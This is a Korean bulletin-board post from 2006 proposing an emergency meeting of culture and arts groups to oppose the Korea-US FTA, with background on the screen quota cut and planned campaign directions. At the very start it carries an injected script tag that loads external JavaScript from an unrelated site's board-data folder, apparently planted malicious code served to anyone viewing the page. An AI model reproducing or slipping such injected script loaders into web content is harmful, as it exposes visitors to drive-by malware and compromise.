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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 안녕하십니까?
지난 1월 26일 스크린쿼터 축소발표, 2월 2일 한미 FTA 협상 개시 발표이후 FTA와 관련한 정세가 빠르게 돌아가고 있습니다.. 특히 이번 한미 FTA는 미국 정부가 100%예외 없는 초강력 개방을 요구하고 있으며 경제협상 뿐 아니라 정치군사적 안보문제를 협상 안건으로 제시하고 있습니다.
최근의 사안이 스크린쿼터 문제에 집중되어 있지만 향후 한미 FTA협상이 제반 문화예술분야에 끼칠 영향력은 그 이상이 될 것으로 예측되고 있습니다. 이에 전반적인 상황공유와 각 분야에서의 영향을 판단하고 앞으로의 활동 방안의 모색이 필요한 시점이라 판단됩니다.
이에 긴급하게나마 간단한 문화예술단체 간담회를 제안합니다. 2월 28일 오후 2시 민예총 회의실에서 진행될 예정이며 형식에 얽매이는 자리가 아니니 큰 부담없이 오셔도 될 것 같습니다.
<<한미 FTA저지를 위한 부문별(문화예술 부문) 연석회의 및 간담회 제안서>>
2006. 2. 28(화) / 한미 FTA저지 범대위(담당: 민예총 염신규 011-826-8393)
1. 제안배경
◦ 1월 26일 스크린쿼터 축소발표, 2월 2일 한미 FTA 협상 개시 발표이후 FTA와 관련한 정세가 빠르게 돌아가고 있음. 특히 이번 한미 FTA는 미국 정부가 100%예외 없는 초강력 개방을 요구하고 있으며 경제협상 뿐 아니라 정치군사적 안보문제를 협상 안건으로 제시하고 있음.
◦ 결국 이번 한미 FTA가 성사될 경우 한국은 미국에 경제적으로 종속될 뿐 아니라 정치사회적으로도 미국에 예속됨으로써 실질적으로 미국의 속국으로 전락할 상황에 처해 있음.
◦ 이를 저지하기 위해 한미 FTA 저지 범대위가 구성되어 있으나 사실상 영화계에만이 투쟁을 진행할 뿐 나머지 단체는 범대위에 연명한 정도에 그치고 있음. 영화계 중심의 투쟁은 스크린쿼터 비난여론에서도 나타났듯이 FTA문제의 초점을 잘못된 방향으로 이끌 뿐 아니라 반신자유주의 운동을 분산/고립시킬 우려가 있음.
◦ 결국 기존의 반신자유주의 운동, 스크린쿼터를 중심으로 하는 FTA투쟁의 한계를 극복하기 위해서는 사회단체, 문화예술인, 농민, 노동자 등 전 사회운동 진영이 유기적 네트워크를 형성하여 한미 FTA 저지 범대위를 실질적으로 강화할 필요가 있음.
◦ 이를 위해서는 각 부문별 연석회의를 구성하여 한미 FTA저지를 위한 분야별 구체 투쟁과제를 생산함으로써 추상적인 반신자유주의 운동의 한계를 극복해야 함.
2. 주요 투쟁 방향
◦ 쌀, 스크린쿼터 등 분산․고립적 투쟁에서 통합적 사회운동으로 한미 FTA 문제 쟁점화
◦ 경제우선주의적 자유무역협정 중심의 담론을 사회적 비전의 문제로 전환
◦ 이해 당사자 주체별 투쟁체 중심에서 한미 FTA 관련 공투체 중심으로 투쟁 거점 전환
◦ 대중조직, 대중 동원 중심의 신자유주의 반대 투쟁과 더불어 새로운 투쟁 대안을 적극적으로 모색
3. 1차 간담회
◦ 날짜 : 2006년 2월 28일(화) 오후 2시
◦ 장소 : 민예총 회의실
◦ 주요 논의 안건 : 지금까지의 진행상황/ 각 단체 상황 공유/문화예술 분야 향후 활동방안 모색
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